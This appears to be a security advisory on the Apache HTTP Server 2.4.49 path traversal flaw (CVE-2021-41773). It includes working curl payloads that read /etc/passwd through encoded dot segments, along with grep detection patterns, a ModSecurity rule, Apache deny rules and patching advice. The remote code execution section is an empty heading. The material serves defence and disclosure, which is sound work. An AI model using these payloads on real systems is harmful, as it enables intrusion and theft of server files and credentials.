Apache HTTP Server Path Traversal (CVE-2021-41773)
Affected Systems:
Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50
Executive Summary
CVE-2021-41773 is a path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49. The vulnerability allows attackers to read files outside the document root and, under certain configurations, achieve remote code execution.
Technical Analysis
The vulnerability exists due to improper URL normalization in Apache 2.4.49. By using encoded dot segments, attackers can traverse outside the document root and access system files.
Path Traversal Exploitation
# Basic file disclosure
curl "http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# URL encoding variations
curl "http://target.com/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl "http://target.com/cgi-bin/.%252e/.%252e/.%252e/.%252e/etc/passwd"
Remote Code Execution
RCE Conditions and Exploitation
Impact Assessment
- Information Disclosure: Read sensitive files
- Configuration Exposure: Access Apache configs
- Credential Theft: Database configs, API keys
- Remote Code Execution: Full server compromise
Detection Methods
# Check Apache access logs
grep -E "\.%2e|%252e|%%32%65" /var/log/apache2/access.log
# Monitor for directory traversal patterns
tail -f /var/log/apache2/access.log | grep -E "(\.\./){2,}|(%2e){2,}"
# Automated scanning
for enc in "%2e" "%%32%65" "%252e"; do
echo "Testing encoding: $enc"
curl -s "http://localhost/cgi-bin/.$enc/.$enc/.$enc/.$enc/etc/passwd"
done
IDS/WAF Rules
# ModSecurity rule
SecRule REQUEST_URI "@rx (?:\.%2e|\.%%32%65|%252e)" \
"id:1000003,\
phase:1,\
deny,\
msg:'CVE-2021-41773 Path Traversal Attempt',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
Mitigation Strategies
Immediate Patching
- Update Apache:
- Upgrade to 2.4.51 or later
-
Avoid 2.4.50 (incomplete fix)
-
Temporary Mitigation:
# Deny encoded traversal patterns
<Location />
<RequireAll>
Require all granted
Require not expr "%{REQUEST_URI} =~ m#\.%2e#i"
Require not expr "%{REQUEST_URI} =~ m#%252e#i"
Require not expr "%{REQUEST_URI} =~ m#%%32%65#i"
</RequireAll>
</Location>
- Disable CGI (if not needed):
# Comment out or remove
# LoadModule cgi_module modules/mod_cgi.so
# LoadModule cgid_module modules/mod_cgid.so
# Remove CGI handlers
<Directory "/var/www/cgi-bin">
Options -ExecCGI
RemoveHandler .cgi .pl .py .rb .sh
</Directory>
Security Best Practices
- Regular security updates
- Minimize exposed directories
- Use mod_security
- Implement least privilege
- Monitor access logs